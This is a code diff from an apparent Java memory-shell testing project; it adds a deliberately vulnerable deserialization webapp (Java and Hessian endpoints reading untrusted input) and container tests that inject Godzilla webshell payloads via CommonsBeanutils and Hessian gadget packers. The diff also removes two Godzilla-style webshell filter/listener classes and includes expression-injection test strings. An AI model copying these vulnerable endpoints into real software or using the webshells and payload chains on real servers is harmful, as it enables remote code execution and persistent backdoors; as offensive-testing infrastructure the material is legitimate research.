 test {
     dependsOn(":vul:vul-webapp:war",
             ":vul:vul-webapp-expression:war",
+            ":vul:vul-webapp-deserialize:war",
             ":vul:vul-webapp-jakarta:war",
             ":vul:vul-springboot2:bootJar",
             ":vul:vul-springboot2:bootWar",

integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java

@@ -15,6 +15,7 @@ import java.nio.file.Paths;
 public class ContainerTool {
     public static final MountableFile warJakartaFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war").toAbsolutePath());
     public static final MountableFile warExpressionFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-expression/build/libs/vul-webapp-expression.war").toAbsolutePath());
+    public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-deserialize/build/libs/vul-webapp-deserialize.war").toAbsolutePath());
     public static final MountableFile warFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp/build/libs/vul-webapp.war").toAbsolutePath());
     public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Paths.get("../vul/vul-springboot2/build/libs/vul-springboot2.war").toAbsolutePath());
     public static final Path springBoot2Dockerfile = Paths.get("../vul/vul-springboot2/Dockerfile").toAbsolutePath();

integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java

@@ -78,6 +78,7 @@ public class ShellAssertionTool {
         } else {
             content = packer.getInstance().pack(generateResult);
             assertInjectIsOk(url, shellType, shellTool, content, packer, container);
+            log.info("send inject payload successfully");
         }
 
         switch (shellTool) {
@@ -242,6 +243,13 @@ public class ShellAssertionTool {
             case Freemarker -> VulTool.postData(url + "/freemarker", content);
             case Velocity -> VulTool.postData(url + "/velocity", content);
             case JavaDeserialize -> VulTool.postData(url + "/java_deserialize", content);
+            case JavaCommonsBeanutils16 -> VulTool.postData(url + "/java_deserialize/cb161", content);
+            case JavaCommonsBeanutils17 -> VulTool.postData(url + "/java_deserialize/cb170", content);
+            case JavaCommonsBeanutils18 -> VulTool.postData(url + "/java_deserialize/cb183", content);
+            case JavaCommonsBeanutils19 -> VulTool.postData(url + "/java_deserialize/cb194", content);
+            case JavaCommonsBeanutils110 -> VulTool.postData(url + "/java_deserialize/cb110", content);
+            case HessianDeserialize -> VulTool.postData(url + "/hessian", content);
+            case Hessian2Deserialize -> VulTool.postData(url + "/hessian2", content);
             case Base64 -> VulTool.postData(url + "/b64", content);
             case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
             default -> throw new IllegalStateException("Unexpected value: " + packer);

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java

@@ -0,0 +1,66 @@
+package com.reajason.javaweb.integration.tomcat;
+
+import com.reajason.javaweb.memshell.config.Constants;
+import com.reajason.javaweb.memshell.config.Server;
+import com.reajason.javaweb.memshell.config.ShellTool;
+import com.reajason.javaweb.memshell.packer.Packers;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.params.ParameterizedTest;
+import org.junit.jupiter.params.provider.Arguments;
+import org.junit.jupiter.params.provider.MethodSource;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.util.stream.Stream;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
+import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.params.provider.Arguments.arguments;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/4
+ */
+@Slf4j
+@Testcontainers
+public class Tomcat8DeserializeContainerTest {
+    public static final String imageName = "tomcat:8-jre8";
+
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warDeserializeFile, "/usr/local/tomcat/webapps/app.war")
+            .withCopyToContainer(jattachFile, "/jattach")
+            .withCopyToContainer(tomcatPid, "/fetch_pid.sh")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    static Stream<Arguments> casesProvider() {
+        return Stream.of(
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils16),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils17),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils18),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils19),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils110),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.HessianDeserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize)
+        );
+    }
+
+    @AfterAll
+    static void tearDown() {
+        String logs = container.getLogs();
+        assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
+    }
+
+    @ParameterizedTest(name = "{0}-deserialize|{1}{2}|{3}")
+    @MethodSource("casesProvider")
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
+        testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ExpressionContainerTest.java

@@ -61,7 +61,6 @@ public class Tomcat8ExpressionContainerTest {
     @AfterAll
     static void tearDown() {
         String logs = container.getLogs();
-        log.info(logs);
         assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
     }
 

settings.gradle

@@ -21,6 +21,7 @@ include 'vul'
 include 'vul:vul-webapp'
 include 'vul:vul-webapp-jakarta'
 include 'vul:vul-webapp-expression'
+include 'vul:vul-webapp-deserialize'
 include 'vul:vul-springboot2'
 include 'vul:vul-springboot3'
 include 'vul:vul-springboot2-webflux'

vul/vul-webapp-deserialize/build.gradle

@@ -0,0 +1,55 @@
+plugins {
+    id 'war'
+}
+
+group = 'com.reajason.javaweb.vul'
+version = ''
+
+java {
+    toolchain {
+        languageVersion = JavaLanguageVersion.of(8)
+    }
+    sourceCompatibility = JavaVersion.VERSION_1_8
+    targetCompatibility = JavaVersion.VERSION_1_8
+}
+
+configurations {
+    cb110
+    cb194
+    cb183
+    cb170
+    cb161
+}
+
+dependencies {
+    cb110 'commons-beanutils:commons-beanutils:1.10.0'
+    cb194 'commons-beanutils:commons-beanutils:1.9.4'
+    cb183 'commons-beanutils:commons-beanutils:1.8.3'
+    cb170 'commons-beanutils:commons-beanutils:1.7.0'
+    cb161 'commons-beanutils:commons-beanutils:1.6.1'
+
+    implementation 'com.caucho:hessian:4.0.66'
+    providedCompile 'javax.servlet:javax.servlet-api:3.1.0'
+}
+
+war {
+    duplicatesStrategy = DuplicatesStrategy.EXCLUDE
+
+    doFirst {
+        delete "src/main/webapp/WEB-INF/dep"
+
+        copy { from configurations.cb110 into "src/main/webapp/WEB-INF/dep" }
+        copy { from configurations.cb194 into "src/main/webapp/WEB-INF/dep" }
+        copy { from configurations.cb183 into "src/main/webapp/WEB-INF/dep" }
+        copy { from configurations.cb170 into "src/main/webapp/WEB-INF/dep" }
+        copy { from configurations.cb161 into "src/main/webapp/WEB-INF/dep" }
+    }
+}
+
+clean {
+    delete "src/main/webapp/WEB-INF/dep"
+}
+
+test {
+    useJUnitPlatform()
+}

vul/vul-webapp-deserialize/src/main/java/BaseDeserializeServlet.java

@@ -0,0 +1,51 @@
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.*;
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.net.URLClassLoader;
+import java.util.Base64;
+import java.util.List;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/19
+ */
+public abstract class BaseDeserializeServlet extends HttpServlet {
+
+    abstract List<String> getDependentPaths();
+
+    @Override
+    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
+        try {
+            String libPath = getServletContext().getRealPath("/WEB-INF/dep");
+            URL[] urls = getDependentPaths().stream().map(path -> {
+                try {
+                    return new File(libPath + File.separator + path).toURI().toURL();
+                } catch (MalformedURLException e) {
+                    throw new RuntimeException(e);
+                }
+            }).toArray(URL[]::new);
+
+            final URLClassLoader classLoader = new URLClassLoader(urls);
+
+            String data = req.getParameter("data");
+            ByteArrayInputStream inputStream = new ByteArrayInputStream(Base64.getDecoder().decode(data));
+            ObjectInputStream bis = new ObjectInputStream(inputStream) {
+                @Override
+                protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
+                    return Class.forName(desc.getName(), false, classLoader);
+                }
+            };
+            bis.readObject();
+            bis.close();
+        } catch (Exception e) {
+            if (e.getMessage().contains("InvocationTargetException")) {
+                return;
+            }
+            throw new RuntimeException(e);
+        }
+    }
+}

vul/vul-webapp-deserialize/src/main/java/Hessian2ReadObjServlet.java

@@ -0,0 +1,28 @@
+import com.caucho.hessian.io.AbstractHessianInput;
+import com.caucho.hessian.io.Hessian2Input;
+
+import javax.servlet.ServletException;
+import javax.servlet.annotation.WebServlet;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.util.Base64;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/20
+ */
+@WebServlet("/hessian2")
+public class Hessian2ReadObjServlet extends HttpServlet {
+
+    @Override
+    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
+        String data = req.getParameter("data");
+        byte[] base64 = Base64.getDecoder().decode(data);
+        ByteArrayInputStream bis = new ByteArrayInputStream(base64);
+        AbstractHessianInput in = new Hessian2Input(bis);
+        in.readObject();
+    }
+}

vul/vul-webapp-deserialize/src/main/java/HessianReadObjServlet.java

@@ -0,0 +1,28 @@
+import com.caucho.hessian.io.AbstractHessianInput;
+import com.caucho.hessian.io.HessianInput;
+
+import javax.servlet.ServletException;
+import javax.servlet.annotation.WebServlet;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.util.Base64;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/20
+ */
+@WebServlet("/hessian")
+public class HessianReadObjServlet extends HttpServlet {
+
+    @Override
+    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
+        String data = req.getParameter("data");
+        byte[] base64 = Base64.getDecoder().decode(data);
+        ByteArrayInputStream bis = new ByteArrayInputStream(base64);
+        AbstractHessianInput in = new HessianInput(bis);
+        in.readObject();
+    }
+}

vul/vul-webapp-deserialize/src/main/java/JavaReadObjCB110jServlet.java

@@ -0,0 +1,17 @@
+import javax.servlet.annotation.WebServlet;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/10
+ */
+@WebServlet("/java_deserialize/cb110")
+public class JavaReadObjCB110jServlet extends BaseDeserializeServlet {
+
+    @Override
+    List<String> getDependentPaths() {
+        return Arrays.asList("commons-beanutils-1.10.0.jar", "commons-collections-3.2.2.jar", "commons-logging-1.3.4.jar");
+    }
+
+}

vul/vul-webapp-deserialize/src/main/java/JavaReadObjCB161jServlet.java

@@ -0,0 +1,17 @@
+import javax.servlet.annotation.WebServlet;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/10
+ */
+@WebServlet("/java_deserialize/cb161")
+public class JavaReadObjCB161jServlet extends BaseDeserializeServlet {
+
+    @Override
+    List<String> getDependentPaths() {
+        return Arrays.asList("commons-beanutils-1.6.1.jar", "commons-collections-2.0.jar", "commons-logging-1.0.jar");
+    }
+
+}

vul/vul-webapp-deserialize/src/main/java/JavaReadObjCB170jServlet.java

@@ -0,0 +1,17 @@
+import javax.servlet.annotation.WebServlet;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/10
+ */
+@WebServlet("/java_deserialize/cb170")
+public class JavaReadObjCB170jServlet extends BaseDeserializeServlet {
+
+    @Override
+    List<String> getDependentPaths() {
+        return Arrays.asList("commons-beanutils-1.7.0.jar", "commons-logging-1.0.3.jar");
+    }
+
+}

vul/vul-webapp-deserialize/src/main/java/JavaReadObjCB183jServlet.java

@@ -0,0 +1,17 @@
+import javax.servlet.annotation.WebServlet;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/10
+ */
+@WebServlet("/java_deserialize/cb183")
+public class JavaReadObjCB183jServlet extends BaseDeserializeServlet {
+
+    @Override
+    List<String> getDependentPaths() {
+        return Arrays.asList("commons-beanutils-1.8.3.jar", "commons-logging-1.1.1.jar");
+    }
+
+}

vul/vul-webapp-deserialize/src/main/java/JavaReadObjCB194Servlet.java

@@ -0,0 +1,24 @@
+import javax.servlet.ServletException;
+import javax.servlet.annotation.WebServlet;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/10
+ */
+@WebServlet("/java_deserialize/cb194")
+public class JavaReadObjCB194Servlet extends BaseDeserializeServlet {
+
+    @Override
+    List<String> getDependentPaths() {
+        return Arrays.asList("commons-beanutils-1.9.4.jar", "commons-logging-1.2.jar");
+    }
+}

vul/vul-webapp-deserialize/src/main/java/TestServlet.java

@@ -0,0 +1,22 @@
+import javax.servlet.ServletException;
+import javax.servlet.annotation.WebServlet;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/19
+ */
+@WebServlet("/test")
+public class TestServlet extends HttpServlet {
+    @Override
+    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
+
+    }
+
+    @Override
+    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
+    }
+}

vul/vul-webapp-deserialize/src/main/webapp/WEB-INF/web.xml

@@ -0,0 +1,9 @@
+<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
+         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
+		 http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
+         version="3.1">
+    <welcome-file-list>
+        <welcome-file>index.html</welcome-file>
+    </welcome-file-list>
+</web-app>

vul/vul-webapp-deserialize/src/main/webapp/index.html

@@ -0,0 +1 @@
+<h1>hello</h1>

vul/vul-webapp-deserialize/src/test/java/AviatorServletTest.java

@@ -0,0 +1,17 @@
+import com.googlecode.aviator.AviatorEvaluator;
+import com.googlecode.aviator.AviatorEvaluatorInstance;
+import org.junit.jupiter.api.Test;
+
+/**
+ * @author ReaJason
+ * @since 2025/1/29
+ */
+class AviatorServletTest {
+
+    @Test
+    void test() {
+        String exp = "use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectionUtils.invokeMethod(ClassUtils.getMethod(Class.forName('java.lang.Thread'), 'getContextClassLoader', nil), Thread.currentThread())";
+        AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
+        System.out.println(evaluator.execute(exp));
+    }
+}

vul/vul-webapp-deserialize/src/test/java/JEXL2ServletTest.java

@@ -0,0 +1,18 @@
+import org.apache.commons.jexl2.Expression;
+import org.junit.jupiter.api.Test;
+
+/**
+ * @author ReaJason
+ * @since 2025/1/29
+ */
+class JEXL2ServletTest {
+
+    @Test
+    void test() {
+        System.out.println(System.getProperty("java.version"));
+        org.apache.commons.jexl2.JexlEngine jexl = new org.apache.commons.jexl2.JexlEngine();
+        Expression e = jexl.createExpression("''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js')");
+        org.apache.commons.jexl2.MapContext jc = new org.apache.commons.jexl2.MapContext();
+        System.out.println(e.evaluate(jc));
+    }
+}

vul/vul-webapp-deserialize/src/test/java/JEXL3ServletTest.java

@@ -0,0 +1,18 @@
+import org.apache.commons.jexl3.*;
+import org.junit.jupiter.api.Test;
+
+/**
+ * @author ReaJason
+ * @since 2025/1/29
+ */
+class JEXL3ServletTest {
+
+    @Test
+    void test() {
+        System.out.println(System.getProperty("java.version"));
+        JexlEngine jexl = new JexlBuilder().create();
+        JexlExpression e = jexl.createExpression("''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js')");
+        JexlContext jc = new MapContext();
+        System.out.println(e.evaluate(jc));
+    }
+}

vul/vul-webapp-expression/build.gradle

@@ -32,7 +32,7 @@ dependencies {
     implementation 'com.hubspot.jinjava:jinjava:2.4.5'
     implementation 'org.springframework:spring-expression:4.3.0.RELEASE'
     providedCompile 'de.odysseus.juel:juel-api:2.2.7'
-    providedCompile "javax.servlet:servlet-api:2.5"
+    providedCompile 'javax.servlet:javax.servlet-api:3.1.0'
 
     testImplementation platform('org.junit:junit-bom:5.11.4')
     testImplementation 'org.junit.jupiter:junit-jupiter'

vul/vul-webapp-expression/src/main/java/AviatorServlet.java

@@ -2,6 +2,7 @@ import com.googlecode.aviator.AviatorEvaluator;
 import com.googlecode.aviator.AviatorEvaluatorInstance;
 
 import javax.servlet.ServletException;
+import javax.servlet.annotation.WebServlet;
 import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
@@ -11,6 +12,7 @@ import java.io.IOException;
  * @author ReaJason
  * @since 2024/12/14
  */
+@WebServlet("/aviator")
 public class AviatorServlet extends HttpServlet {
     @Override
     protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

vul/vul-webapp-expression/src/main/java/BeanShellServlet.java

@@ -2,6 +2,7 @@ import bsh.EvalError;
 import bsh.Interpreter;
 
 import javax.servlet.ServletException;
+import javax.servlet.annotation.WebServlet;
 import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
@@ -11,6 +12,7 @@ import java.io.IOException;
  * @author ReaJason
  * @since 2025/1/30
  */
+@WebServlet("/bsh")
 public class BeanShellServlet extends HttpServlet {
     @Override
     protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

vul/vul-webapp-expression/src/main/java/ELServlet.java

@@ -4,6 +4,7 @@ import de.odysseus.el.util.SimpleContext;
 import javax.el.ExpressionFactory;
 import javax.el.ValueExpression;
 import javax.servlet.ServletException;
+import javax.servlet.annotation.WebServlet;
 import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
@@ -13,6 +14,7 @@ import java.io.IOException;
  * @author ReaJason
  * @since 2024/12/14
  */
+@WebServlet("/el")
 public class ELServlet extends HttpServlet {
 
     @Override

vul/vul-webapp-expression/src/main/java/ErrorFilter.java

@@ -1,128 +0,0 @@
-import javax.crypto.Cipher;
-import javax.crypto.spec.SecretKeySpec;
-import javax.servlet.*;
-import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpServletResponse;
-import javax.servlet.http.HttpSession;
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
-
-/**
- * @author ReaJason
- * @since 2024/11/26
- */
-public class ErrorFilter extends ClassLoader implements Filter {
-    public String key = "3c6e0b8a9c15224a";
-    public String pass = "pass";
-    public String md5 = "11CD6A87589841636C37AC826A2A04BC";
-    public String headerName = "User-Agent";
-    public String headerValue = "test";
-
-    public ErrorFilter() {
-    }
-
-    public ErrorFilter(ClassLoader var1) {
-        super(var1);
-    }
-
-    public static String base64Encode(byte[] bs) throws Exception {
-        String value = null;
-
-        try {
-            Class<?> base64 = Class.forName("java.util.Base64");
-            Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
-            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
-        } catch (Exception var61) {
-            try {
-                Class<?> base64 = Class.forName("sun.misc.BASE64Encoder");
-                Object encoder = base64.newInstance();
-                value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
-            } catch (Exception var5) {
-            }
-        }
-
-        return value;
-    }
-
-    public static byte[] base64Decode(String bs) {
-        byte[] value = null;
-
-        try {
-            Class<?> base64 = Class.forName("java.util.Base64");
-            Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-        } catch (Exception var61) {
-            try {
-                Class<?> base64 = Class.forName("sun.misc.BASE64Decoder");
-                Object decoder = base64.newInstance();
-                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            } catch (Exception var5) {
-            }
-        }
-
-        return value;
-    }
-
-    public Class<?> Q(byte[] cb) {
-        return super.defineClass(cb, 0, cb.length);
-    }
-
-    public byte[] x(byte[] s, boolean m) {
-        try {
-            Cipher c = Cipher.getInstance("AES");
-            c.init(m ? 1 : 2, new SecretKeySpec(this.key.getBytes(), "AES"));
-            return c.doFinal(s);
-        } catch (Exception var41) {
-            return null;
-        }
-    }
-
-    @Override
-    public void init(FilterConfig filterConfig) throws ServletException {
-
-    }
-
-    @Override
-    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
-        HttpServletRequest request = (HttpServletRequest) servletRequest;
-        HttpServletResponse response = (HttpServletResponse) servletResponse;
-
-        try {
-            if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
-                HttpSession session = request.getSession();
-                byte[] data = base64Decode(request.getParameter(this.pass));
-                data = this.x(data, false);
-                if (session.getAttribute("payload") == null) {
-                    session.setAttribute("payload", (new ErrorFilter(this.getClass().getClassLoader())).Q(data));
-                } else {
-                    request.setAttribute("parameters", data);
-                    ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
-
-                    Object f;
-                    try {
-                        f = ((Class) session.getAttribute("payload")).newInstance();
-                    } catch (Exception e) {
-                        throw new RuntimeException(e);
-                    }
-
-                    f.equals(arrOut);
-                    f.equals(request);
-                    response.getWriter().write(this.md5.substring(0, 16));
-                    f.toString();
-                    response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
-                    response.getWriter().write(this.md5.substring(16));
-                }
-            } else {
-                chain.doFilter(servletRequest, servletResponse);
-            }
-        } catch (Exception var12) {
-            chain.doFilter(servletRequest, servletResponse);
-        }
-
-    }
-
-    @Override
-    public void destroy() {
-
-    }
-}

vul/vul-webapp-expression/src/main/java/ErrorListener.java

@@ -1,140 +0,0 @@
-import javax.crypto.Cipher;
-import javax.crypto.spec.SecretKeySpec;
-import javax.servlet.ServletRequestEvent;
-import javax.servlet.ServletRequestListener;
-import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpServletResponse;
-import javax.servlet.http.HttpSession;
-import java.io.ByteArrayOutputStream;
-import java.lang.reflect.Field;
-
-public class ErrorListener extends ClassLoader implements ServletRequestListener {
-    public String md5 = "4B9B4A9EEB3F82A06A5D643C57E87B54";
-    public String pass = "passListener";
-    public String key = "4fe60e3b9193d6bd";
-    public String headerName = "User-Agent";
-    public String headerValue = "test";
-
-    public ErrorListener() {
-    }
-
-    public ErrorListener(ClassLoader var1) {
-        super(var1);
-    }
-
-    public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
-        Class<?> clazz = obj.getClass();
-        while (clazz != Object.class) {
-            try {
-                field = clazz.getDeclaredField(name);
-                break;
-            } catch (NoSuchFieldException var5) {
-                clazz = clazz.getSuperclass();
-            }
-        }
-        if (field == null) {
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
-        }
-    }
-
-    public static String base64Encode(byte[] bs) throws Exception {
-        String value = null;
-        try {
-            Class<?> base64 = Class.forName("java.util.Base64");
-            Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
-            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
-        } catch (Exception var61) {
-            try {
-                Class<?> base64 = Class.forName("sun.misc.BASE64Encoder");
-                Object encoder = base64.newInstance();
-                value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
-            } catch (Exception var5) {
-            }
-        }
-
-        return value;
-    }
-
-    public static byte[] base64Decode(String bs) {
-        byte[] value = null;
-
-        try {
-            Class<?> base64 = Class.forName("java.util.Base64");
-            Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-        } catch (Exception var61) {
-            try {
-                Class<?> base64 = Class.forName("sun.misc.BASE64Decoder");
-                Object decoder = base64.newInstance();
-                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            } catch (Exception var5) {
-            }
-        }
-
-        return value;
-    }
-
-    public Class<?> Q(byte[] cb) {
-        return super.defineClass(cb, 0, cb.length);
-    }
-
-    public byte[] x(byte[] s, boolean m) {
-        try {
-            Cipher c = Cipher.getInstance("AES");
-            c.init(m ? 1 : 2, new SecretKeySpec(this.key.getBytes(), "AES"));
-            return c.doFinal(s);
-        } catch (Exception var41) {
-            return null;
-        }
-    }
-
-    @Override
-    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
-    }
-
-    @Override
-    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
-        HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
-
-        try {
-            if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
-                HttpServletResponse response = this.getResponseFromRequest(request);
-                HttpSession session = request.getSession();
-                byte[] data = base64Decode(request.getParameter(this.pass));
-                data = this.x(data, false);
-                if (session.getAttribute("payload") == null) {
-                    session.setAttribute("payload", (new ErrorFilter(this.getClass().getClassLoader())).Q(data));
-                } else {
-                    request.setAttribute("parameters", data);
-                    ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
-                    Object f = ((Class) session.getAttribute("payload")).newInstance();
-                    f.equals(arrOut);
-                    f.equals(request);
-                    response.getWriter().write(this.md5.substring(0, 16));
-                    f.toString();
-                    response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
-                    response.getWriter().write(this.md5.substring(16));
-                    response.flushBuffer();
-                }
-            }
-        } catch (Exception var8) {
-        }
-
-    }
-
-    private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
-        HttpServletResponse response = null;
-
-        try {
-            response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
-        } catch (Exception var4) {
-            response = (HttpServletResponse) getFieldValue(request, "response");
-        }
-
-        return response;
-    }
-}

vul/vul-webapp-expression/src/main/java/FreemarkerServlet.java

@@ -3,6 +3,7 @@ import freemarker.template.Template;
 import freemarker.template.TemplateException;
 
 import javax.servlet.ServletException;
+import javax.servlet.annotation.WebServlet;
 import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
@@ -16,6 +17,7 @@ import java.util.Map;
  * @author ReaJason
  * @since 2024/12/14
  */
+@WebServlet("/freemarker")
 public class FreemarkerServlet extends HttpServlet {
     @Override
     protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

vul/vul-webapp-expression/src/main/java/GroovyServlet.java

@@ -1,6 +1,7 @@
 import groovy.lang.GroovyShell;
 
 import javax.servlet.ServletException;
+import javax.servlet.annotation.WebServlet;
 import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
@@ -10,6 +11,7 @@ import java.io.IOException;
  * @author ReaJason
  * @since 2024/12/14
  */
+@WebServlet("/groovy")
 public class GroovyServlet extends HttpServlet {
     @Override
     protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

vul/vul-webapp-expression/src/main/java/JEXL2Servlet.java

@@ -3,6 +3,7 @@ import org.apache.commons.jexl2.JexlEngine;
 import org.apache.commons.jexl2.MapContext;
 
 import javax.servlet.ServletException;
+import javax.servlet.annotation.WebServlet;
 import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
@@ -12,6 +13,7 @@ import java.io.IOException;
  * @author ReaJason
  * @since 2024/12/14
  */
+@WebServlet("/jexl2")
 public class JEXL2Servlet extends HttpServlet {
     @Override
     protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

vul/vul-webapp-expression/src/main/java/JEXL3Servlet.java

@@ -4,6 +4,7 @@ import org.apache.commons.jexl3.JexlExpression;
 import org.apache.commons.jexl3.MapContext;
 
 import javax.servlet.ServletException;
+import javax.servlet.annotation.WebServlet;
 import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
@@ -13,6 +14,7 @@ import java.io.IOException;
  * @author ReaJason
  * @since 2024/12/14
  */
+@WebServlet("/jexl3")
 public class JEXL3Servlet extends HttpServlet {
     @Override
